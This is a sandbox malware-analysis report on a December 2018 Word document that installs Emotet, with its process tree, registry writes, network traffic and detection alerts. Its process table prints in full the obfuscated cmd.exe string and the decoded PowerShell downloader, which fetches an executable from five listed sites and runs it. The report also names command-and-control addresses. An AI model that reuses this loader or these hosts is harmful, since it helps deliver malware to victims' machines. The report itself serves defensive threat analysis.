| File name: | O2_18_12_18.doc |
| Full analysis: | https://app.any.run/tasks/5645f64f-ee50-4bbf-9933-f207bdf45a12 |
| Verdict: | Malicious activity |
| Threats: | Emotet is one of the most dangerous trojans ever created. Over the course of its lifetime, it was upgraded to become a very destructive malware. It targets mostly corporate victims but even private users get infected in mass spam email campaigns. |
| Analysis date: | December 18, 2018, 12:59:37 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/msword |
| File info: | Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Template: Normal.dotm, Revision Number: 1, Name of Creating Application: Microsoft Office Word, Create Time/Date: Tue Dec 18 07:55:00 2018, Last Saved Time/Date: Tue Dec 18 07:55:00 2018, Number of Pages: 1, Number of Words: 3, Number of Characters: 22, Security: 0 |
| MD5: | 4BC217705738B1AF35469A7A5492CA1E |
| SHA1: | 83D6218F4EA863B3BDF941B703F31149D7BCDC31 |
| SHA256: | E2D570503D272C00390809E88EF446DD62C49BA9EC0A3F0ADF1A9E9E633D91B7 |
| SSDEEP: | 768:wf4OEKjmW9/MqtBMENPOgHvgekSD6axz99Zk5Q+RqB2XwOxb6i+1o9:m7ljmW9/bvFn3Db3zH+VX75+a9 |
MALICIOUS
Unusual execution from Microsoft Office
- WINWORD.EXE (PID: 2996)
Starts CMD.EXE for commands execution
- WINWORD.EXE (PID: 2996)
Request from PowerShell which ran from CMD.EXE
- powershell.exe (PID: 4008)
Application was dropped or rewritten from another process
- 384.exe (PID: 2656)
- 384.exe (PID: 3444)
- archivesymbol.exe (PID: 2148)
- archivesymbol.exe (PID: 2884)
Downloads executable files from the Internet
- powershell.exe (PID: 4008)
Executes PowerShell scripts
- cmd.exe (PID: 2176)
EMOTET was detected
- archivesymbol.exe (PID: 2884)
Connects to CnC server
- archivesymbol.exe (PID: 2884)
Changes the autorun value in the registry
- archivesymbol.exe (PID: 2884)
SUSPICIOUS
Executable content was dropped or overwritten
- powershell.exe (PID: 4008)
- 384.exe (PID: 2656)
Creates files in the user directory
- powershell.exe (PID: 4008)
Starts CMD.EXE for commands execution
- cmd.exe (PID: 3712)
Starts itself from another location
- 384.exe (PID: 2656)
Connects to unusual port
- archivesymbol.exe (PID: 2884)
INFO
Creates files in the user directory
- WINWORD.EXE (PID: 2996)
Reads Microsoft Office registry keys
- WINWORD.EXE (PID: 2996)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
TRiD
| .doc | | | Microsoft Word document (54.2) |
|---|---|---|
| .doc | | | Microsoft Word document (old ver.) (32.2) |
EXIF
FlashPix
| Title: | - |
|---|---|
| Subject: | - |
| Author: | - |
| Keywords: | - |
| Comments: | - |
| Template: | Normal.dotm |
| LastModifiedBy: | - |
| RevisionNumber: | 1 |
| Software: | Microsoft Office Word |
| TotalEditTime: | - |
| CreateDate: | 2018:12:18 07:55:00 |
| ModifyDate: | 2018:12:18 07:55:00 |
| Pages: | 1 |
| Words: | 3 |
| Characters: | 22 |
| Security: | None |
| CodePage: | Windows Latin 1 (Western European) |
| Company: | - |
| Lines: | 1 |
| Paragraphs: | 1 |
| CharCountWithSpaces: | 24 |
| AppVersion: | 16 |
| ScaleCrop: | No |
| LinksUpToDate: | No |
| SharedDoc: | No |
| HyperlinksChanged: | No |
| TitleOfParts: | - |
| HeadingPairs: |
|
| CompObjUserTypeLen: | 32 |
| CompObjUserType: | Microsoft Word 97-2003 Document |
Total processes
40
Monitored processes
8
Malicious processes
6
Suspicious processes
2
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 2148 | "C:\Users\admin\AppData\Local\archivesymbol\archivesymbol.exe" | C:\Users\admin\AppData\Local\archivesymbol\archivesymbol.exe | — | 384.exe | |||||||||||
User: admin Company: LEAD Technologies, Inc. Integrity Level: MEDIUM Description: LEADTOOLS® DLL for Win32 Exit code: 0 Version: 8.00.0.010 Modules
| |||||||||||||||
| 2176 | CmD /V:ON/C"set Tlwk=;'voz'=jOv$}}{hctac}};kaerb;'tVp'=FPN$;TDc$ metI-ekovnI{ )00008 eg- htgnel.)TDc$ metI-teG(( fI;'Ucd'=Cst$;)TDc$ ,MSj$(eliFdaolnwoD.vbW${yrt{)LKw$ ni MSj$(hcaerof;'exe.'+uUn$+'\'+pmet:vne$=TDc$;'BjZ'=CNU$;'483' = uUn$;'Aho'=zCG$;)'@'(tilpS.'9LTmLS/moc.ehcuod-ecapse.www//:ptth@DnOX/gro.aciremagalf.www//:ptth@A/moc.npci//:ptth@6/moc.etiesebeil.www//:ptth@qfPVbU/moc.munihpled//:ptth'=LKw$;tneilCbeW.teN tcejbo-wen=vbW$;'JCE'=tQj$ llehsrewop&&for /L %S in (438,-1,0)do set Zy=!Zy!!Tlwk:~%S,1!&&if %S==0 call %Zy:~4%" | C:\Windows\system32\cmd.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
| |||||||||||||||
| 2656 | "C:\Users\admin\AppData\Local\Temp\384.exe" | C:\Users\admin\AppData\Local\Temp\384.exe | 384.exe | ||||||||||||
User: admin Company: LEAD Technologies, Inc. Integrity Level: MEDIUM Description: LEADTOOLS® DLL for Win32 Exit code: 0 Version: 8.00.0.010 Modules
| |||||||||||||||
| 2884 | "C:\Users\admin\AppData\Local\archivesymbol\archivesymbol.exe" | C:\Users\admin\AppData\Local\archivesymbol\archivesymbol.exe | archivesymbol.exe | ||||||||||||
User: admin Company: LEAD Technologies, Inc. Integrity Level: MEDIUM Description: LEADTOOLS® DLL for Win32 Exit code: 0 Version: 8.00.0.010 Modules
| |||||||||||||||
| 2996 | "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\Desktop\O2_18_12_18.doc" | C:\Program Files\Microsoft Office\Office14\WINWORD.EXE | — | explorer.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Word Exit code: 0 Version: 14.0.6024.1000 Modules
| |||||||||||||||
| 3444 | "C:\Users\admin\AppData\Local\Temp\384.exe" | C:\Users\admin\AppData\Local\Temp\384.exe | — | powershell.exe | |||||||||||
User: admin Company: LEAD Technologies, Inc. Integrity Level: MEDIUM Description: LEADTOOLS® DLL for Win32 Exit code: 0 Version: 8.00.0.010 Modules
| |||||||||||||||
| 3712 | c:\zBXFOYMnfAslX\BwYnWCZVt\jZbqNFLsH\..\..\..\windows\system32\cmd.exe /c %ProgramData:~0,1%%ProgramData:~9,2% /V:ON/C"set Tlwk=;'voz'=jOv$}}{hctac}};kaerb;'tVp'=FPN$;TDc$ metI-ekovnI{ )00008 eg- htgnel.)TDc$ metI-teG(( fI;'Ucd'=Cst$;)TDc$ ,MSj$(eliFdaolnwoD.vbW${yrt{)LKw$ ni MSj$(hcaerof;'exe.'+uUn$+'\'+pmet:vne$=TDc$;'BjZ'=CNU$;'483' = uUn$;'Aho'=zCG$;)'@'(tilpS.'9LTmLS/moc.ehcuod-ecapse.www//:ptth@DnOX/gro.aciremagalf.www//:ptth@A/moc.npci//:ptth@6/moc.etiesebeil.www//:ptth@qfPVbU/moc.munihpled//:ptth'=LKw$;tneilCbeW.teN tcejbo-wen=vbW$;'JCE'=tQj$ llehsrewop&&for /L %S in (438,-1,0)do set Zy=!Zy!!Tlwk:~%S,1!&&if %S==0 call %Zy:~4%" | c:\windows\system32\cmd.exe | — | WINWORD.EXE | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
| |||||||||||||||
| 4008 | powershell $jQt='ECJ';$Wbv=new-object Net.WebClient;$wKL='http://delphinum.com/UbVPfq@http://www.liebeseite.com/6@http://icpn.com/A@http://www.flagamerica.org/XOnD@http://www.espace-douche.com/SLmTL9'.Split('@');$GCz='ohA';$nUu = '384';$UNC='ZjB';$cDT=$env:temp+'\'+$nUu+'.exe';foreach($jSM in $wKL){try{$Wbv.DownloadFile($jSM, $cDT);$tsC='dcU';If ((Get-Item $cDT).length -ge 80000) {Invoke-Item $cDT;$NPF='pVt';break;}}catch{}}$vOj='zov'; | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | cmd.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
Total events
1 750
Read events
1 261
Write events
482
Delete events
7
Modification events
| (PID) Process: | (2996) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems |
| Operation: | write | Name: | .? |
Value: 2E7F3F00B40B0000010000000000000000000000 | |||
| (PID) Process: | (2996) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1033 |
Value: Off | |||
| (PID) Process: | (2996) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1033 |
Value: On | |||
| (PID) Process: | (2996) WINWORD.EXE | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage |
| Operation: | write | Name: | WORDFiles |
Value: 1301413911 | |||
| (PID) Process: | (2996) WINWORD.EXE | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage |
| Operation: | write | Name: | ProductFiles |
Value: 1301414032 | |||
| (PID) Process: | (2996) WINWORD.EXE | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage |
| Operation: | write | Name: | ProductFiles |
Value: 1301414033 | |||
| (PID) Process: | (2996) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word |
| Operation: | write | Name: | MTTT |
Value: B40B00008074A991D196D40100000000 | |||
| (PID) Process: | (2996) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems |
| Operation: | write | Name: | pa? |
Value: 70613F00B40B000004000000000000008C00000001000000840000003E0043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C0052006F0061006D0069006E0067005C004D006900630072006F0073006F00660074005C00540065006D0070006C0061007400650073005C004E006F0072006D0061006C002E0064006F0074006D00000000000000 | |||
| (PID) Process: | (2996) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems |
| Operation: | delete value | Name: | pa? |
Value: 70613F00B40B000004000000000000008C00000001000000840000003E0043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C0052006F0061006D0069006E0067005C004D006900630072006F0073006F00660074005C00540065006D0070006C0061007400650073005C004E006F0072006D0061006C002E0064006F0074006D00000000000000 | |||
| (PID) Process: | (2996) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | UNCAsIntranet |
Value: 0 | |||
Executable files
2
Suspicious files
2
Text files
2
Unknown types
7
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 2996 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\CVRA78E.tmp.cvr | — | |
MD5:— | SHA256:— | |||
| 2996 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\84936DD9.wmf | — | |
MD5:— | SHA256:— | |||
| 2996 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\75EE64F.wmf | — | |
MD5:— | SHA256:— | |||
| 4008 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\GUNGMVHPXHOD2RAY9ZUC.temp | — | |
MD5:— | SHA256:— | |||
| 2996 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\2035C738.wmf | wmf | |
MD5:— | SHA256:— | |||
| 2996 | WINWORD.EXE | C:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotm | pgc | |
MD5:— | SHA256:— | |||
| 2996 | WINWORD.EXE | C:\Users\admin\Desktop\~$_18_12_18.doc | pgc | |
MD5:— | SHA256:— | |||
| 2996 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\Word8.0\MSForms.exd | tlb | |
MD5:— | SHA256:— | |||
| 2996 | WINWORD.EXE | C:\Users\admin\AppData\Roaming\Microsoft\Office\Recent\index.dat | text | |
MD5:— | SHA256:— | |||
| 2996 | WINWORD.EXE | C:\Users\admin\AppData\Roaming\Microsoft\Office\Recent\O2_18_12_18.doc.LNK | lnk | |
MD5:— | SHA256:— | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
6
TCP/UDP connections
5
DNS requests
3
Threats
13
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
2884 | archivesymbol.exe | GET | — | 217.173.64.242:443 | http://217.173.64.242:443/ | RU | — | — | suspicious |
4008 | powershell.exe | GET | 403 | 81.19.145.40:80 | http://www.liebeseite.com/6 | AT | html | 322 b | malicious |
4008 | powershell.exe | GET | 200 | 192.185.77.75:80 | http://icpn.com/A/ | US | executable | 124 Kb | malicious |
4008 | powershell.exe | GET | 301 | 192.185.77.75:80 | http://icpn.com/A | US | html | 284 b | malicious |
2884 | archivesymbol.exe | GET | 200 | 181.48.61.138:20 | http://181.48.61.138:20/ | CO | binary | 132 b | malicious |
4008 | powershell.exe | GET | 403 | 81.88.48.95:80 | http://delphinum.com/UbVPfq | IT | xml | 2.42 Kb | malicious |
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
4008 | powershell.exe | 81.88.48.95:80 | delphinum.com | Register.it SpA | IT | suspicious |
4008 | powershell.exe | 81.19.145.40:80 | www.liebeseite.com | World4You Internet Services GmbH | AT | suspicious |
4008 | powershell.exe | 192.185.77.75:80 | icpn.com | CyrusOne LLC | US | malicious |
2884 | archivesymbol.exe | 181.48.61.138:20 | — | Telmex Colombia S.A. | CO | malicious |
2884 | archivesymbol.exe | 217.173.64.242:443 | — | OOO WestCall Ltd. | RU | suspicious |
DNS requests
Domain | IP | Reputation |
|---|---|---|
delphinum.com |
| malicious |
www.liebeseite.com |
| malicious |
icpn.com |
| malicious |
Threats
PID | Process | Class | Message |
|---|---|---|---|
4008 | powershell.exe | A Network Trojan was detected | SC TROJAN_DOWNLOADER Suspicious loader with tiny header |
4008 | powershell.exe | A Network Trojan was detected | SC TROJAN_DOWNLOADER Trojan-Downloader Emoloader Win32 |
4008 | powershell.exe | A Network Trojan was detected | SC TROJAN_DOWNLOADER Suspicious loader with tiny header |
4008 | powershell.exe | A Network Trojan was detected | SC TROJAN_DOWNLOADER Suspicious loader with tiny header |
4008 | powershell.exe | Potential Corporate Privacy Violation | ET POLICY PE EXE or DLL Windows file download HTTP |
4008 | powershell.exe | Potentially Bad Traffic | ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download |
4008 | powershell.exe | Misc activity | ET INFO EXE - Served Attached HTTP |
2884 | archivesymbol.exe | A Network Trojan was detected | SC SPYWARE Spyware Emotet Win32 |
2884 | archivesymbol.exe | A Network Trojan was detected | MALWARE [PTsecurity] Feodo HTTP request |
2884 | archivesymbol.exe | A Network Trojan was detected | SC SPYWARE Spyware Emotet Win32 |
2 ETPRO signatures available at the full report